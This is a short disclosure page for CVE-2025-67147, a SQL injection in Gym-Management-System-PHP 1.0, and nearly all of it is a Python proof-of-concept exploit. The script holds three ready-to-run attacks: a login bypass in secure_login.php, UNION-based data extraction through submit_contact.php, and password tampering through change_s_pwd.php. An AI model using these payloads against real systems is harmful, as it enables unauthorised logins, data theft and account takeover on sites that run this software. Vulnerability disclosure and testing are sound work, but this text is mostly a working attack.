CVE-2025-67147: Gym-Management-System-PHP SQL注入漏洞（严重）

''' CVE-2025-67147 SQL Injection PoC Target: Gym-Management-System-PHP 1.0 Vulnerable Files: submit_contact.php, secure_login.php, change_s_pwd.php ''' import requests import sys TARGET = "http://target.com/gym-system/" # PoC 1: Authentication Bypass in secure_login.php def bypass_auth(): """Bypass login authentication using SQL injection""" endpoint = f"{TARGET}secure_login.php" payload = { "username": "admin' OR '1'='1' --", "pass_key": "any" } print("[+] Attempting authentication bypass...") response = requests.post(endpoint, data=payload) if "dashboard" in response.text.lower() or response.status_code == 302: print("[+] Authentication bypass successful!") return response # PoC 2: SQL Injection in submit_contact.php def inject_contact_form(): """Extract database information via contact form""" endpoint = f"{TARGET}submit_contact.php" # UNION-based injection to extract data payload = { "name": "test' UNION SELECT 1,2,version(),user(),5,6 -- ", "email": "[email protected]", "comment": "test" } print("[+] Sending SQL injection payload to contact form...") response = requests.post(endpoint, data=payload) print(f"[+] Response Status: {response.status_code}") return response # PoC 3: SQL Injection in change_s_pwd.php def inject_password_change(): """Modify user passwords via SQL injection""" endpoint = f"{TARGET}change_s_pwd.php" payload = { "login_id": "1' OR '1'='1", "pwfield": "newpassword", "login_key": "123" } print("[+] Attempting password change injection...") response = requests.post(endpoint, data=payload) return response if __name__ == "__main__": print("=" * 50) print("CVE-2025-67147 SQL Injection PoC") print("=" * 50) try: bypass_auth() inject_contact_form() inject_password_change() except Exception as e: print(f"[-] Error: {e}")